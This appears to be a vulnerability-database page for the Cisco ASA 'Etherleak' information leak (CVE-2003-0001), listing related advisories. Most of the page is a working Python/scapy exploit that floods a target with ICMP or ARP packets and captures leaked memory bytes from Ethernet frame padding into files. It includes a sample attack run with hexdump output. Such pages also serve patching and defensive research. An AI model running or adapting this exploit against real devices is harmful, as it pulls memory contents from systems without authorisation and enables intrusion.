Lucene search
K

Cisco ASA < 8.4.4.6 & 8.2.5.32 - Ethernet Information Leak

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 99 Views

Cisco ASA Ethernet Information Leak CVE-2003-0001 'Etherleak' exploit for hosts using vulnerable network device drivers that leak data from ethernet frames. Resolved in ASA 8.4.4.6/8.2.5.32. Cisco Bug reference CSCua88376 and PSIRT-0669464365

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cisco ASA < 8.4.4.6|8.2.5.32 Ethernet Information Leak
10 Jun 201300:00
zdt
0day.today
Ethernet Device Drivers Frame Padding Info Leakage Expl (Etherleak)
23 Mar 200700:00
zdt
GithubExploit
exploits
25 May 202601:12
githubexploit
ATTACKERKB
CVE-2022-22216
13 Jul 202207:00
attackerkb
CVE
CAN-2003-0001
6 Aug 202410:38
cve
CVE
CVE-2003-0001
8 Jan 200305:00
cve
Circl
CVE-2003-0001
20 Jul 202218:11
circl
Cvelist
CVE-2003-0001
8 Jan 200305:00
cvelist
Debian
[SECURITY] [DSA 423-1] New Linux 2.4.17 packages fix several problems (ia64)
15 Jan 200407:49
debian
Debian
[SECURITY] [DSA 442-1] New Linux 2.4.17 packages fix local root exploits and more (s390)
19 Feb 200409:24
debian
Rows per page

                                                #!/usr/bin/env python
# CVE-2003-0001 &#39;Etherleak&#39; exploit
# =================================
# Exploit for hosts which use a network device driver that pads 
# ethernet frames with data which vary from one packet to another, 
# likely taken from kernel memory, system memory allocated to 
# the device driver, or a hardware buffer on its network interface 
# card. Exploit uses scapy with either ICMP or ARP requests as 
# this can trigger with either but ICMP can hit layer3 filtering 
# rules. Using ARP the padding appears to leak only fixed constant 
# values when exploited, ICMP leaks random bytes. 
#
# root@bt:~/0d# python cve-2003-0001.py x.x.x.254 icmp leaky
# WARNING: No route found for IPv6 destination :: (no default route?)
# [ CVE-2003-0001 &#39;Etherleak&#39; exploit
# [ Attacking x.x.x.254 for icmp padding saved to leaky.hex
# ............................................................^C!Killing
# !Killing
# root@bt:~/0d# hexdump -C leaky | head
# 00000000  e6 bd a6 9b 90 eb 44 f5  18 a5 29 2a 16 5a 08 ff  |......D...)*.Z..|
# 00000010  43 e1 23 07 8f 96 5a 24  3f 3d 33 7d b4 97 7e 18  |C.#...Z$?=3}..~.|
# 00000020  05 c9 7c 2c a5 c0 fa 7a  76 f3 51 c0 fe 07 72 32  |..|,...zv.Q...r2|
# 00000030  9e ad 6a 67 ad 43 58 17  60 43 bc 2b b8 fb cc 70  |..jg.CX.`C.+...p|
# 00000040  99 92 80 84 03 03 6f 8f  18 d3 5b 5e f0 1e 3a 83  |......o...[^..:.|
# 00000050  3d 82 e7 cd 3e 1f 31 74  b0 06 8c a2 7e 14 6b fb  |=...&#62;.1t....~.k.|
# 00000060  72 9b ac 64 74 9b a4 d9  23 5b 92 82 0d 0b 31 f0  |r..dt...#[....1.|
# 00000070  a9 4f dd 3f bf 2b 5c 67  6c 22 fa da d0 2b d6 39  |.O.?.+\gl&#34;...+.9|
# 00000080  40 58 13 4f 3d bb 48 03  d3 53 3c 5c 44 d2 3d b2  |@X.O=.H..S&#60;\D.=.|
# 00000090  4f f2 a9 4a 02 80 4e 1b  6c bd 69 89 bd 76 1b 0a  |O..J..N.l.i..v..|
#
# This issue has been resolved in ASA 8.4.4.6/8.2.5.32. Cisco Bug reference
# is CSCua88376 and PSIRT-0669464365.
#
#  -- prdelka
#
import os
import sys
import signal
import binascii
from scapy.all import *

def signalhandler(signal,id):
	print &#34;!Killing&#34;
	sys.exit(0)

def spawn(host,type):
	if type == &#39;arp&#39;:
		send(ARP(pdst=host),loop=1,nofilter=1)
	elif type == &#39;icmp&#39;:
		send(IP(dst=host)/ICMP(type=8)/&#39;x&#39;,loop=1,nofilter=1)		

if __name__ == &#34;__main__&#34;:
	print &#34;[ CVE-2003-0001 &#39;Etherleak&#39; exploit&#34;
	signal.signal(signal.SIGINT,signalhandler)
	if len(sys.argv) &#60; 4:
		print &#34;[ No! Use with &#60;host&#62; &#60;arp|icmp&#62; &#60;file&#62;&#34;
		sys.exit(1)
	type = sys.argv[2]
	if type == &#39;arp&#39;:
		pass
	elif type == &#39;icmp&#39;:
		pass
	else:
		print &#34;Bad type!&#34;
		sys.exit(0)
	pid = os.fork()
	if(pid):
		print &#34;[ Attacking %s for %s padding saved to %s.hex&#34; % (sys.argv[1],sys.argv[2],sys.argv[3])
		spawn(sys.argv[1],sys.argv[2])
	while True:
		if type == &#39;arp&#39;:
			myfilter = &#34;host %s and arp&#34; % sys.argv[1]
		elif type == &#39;icmp&#39;:
			myfilter = &#34;host %s and icmp&#34; % sys.argv[1]
		x = sniff(count=1,filter=myfilter,lfilter=lambda x: x.haslayer(Padding))
		p = x[0]
		if type == &#39;arp&#39;:
			pad = p.getlayer(2)
		if type == &#39;icmp&#39;:
			pad = p.getlayer(4)
		leak =  str(pad)
		hexfull = binascii.b2a_hex(leak)
		file = &#34;%s.hex&#34;%sys.argv[3]
		fdesc = open(file,&#34;a&#34;)
		fdesc.write(hexfull + &#34;\n&#34;)
		fdesc.close()
		# 32 bits leaked here for me.
		if type == &#39;icmp&#39;:
			bytes = leak[9:13]
		elif type == &#39;arp&#39;:
			bytes = leak[10:14]
		fdesc = open(sys.argv[3],&#34;ab&#34;)
		fdesc.write(bytes)
		fdesc.close()
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation